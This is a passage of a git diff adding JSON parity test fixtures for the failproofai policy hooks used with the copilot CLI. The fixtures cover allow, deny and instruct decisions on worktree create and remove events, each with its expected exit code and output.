"cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b9c1f493 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..788a50ee --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..424b1f10 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5d9fbecd --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..4da0ade3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ec7c4a08 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..fc4825e0 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..80aa6f72 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"WorktreeCreate\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a291ce7f --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..037a88c7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0ec59a54 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..924f3359 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5051db24 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2218c168 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..b4619cb8 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..5748c4b7 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..896cdb3b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3ee4cc6a --- /dev/null +++ b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/WorktreeRemove/deny__tool-present__one-policy.json new file mode 100644 index 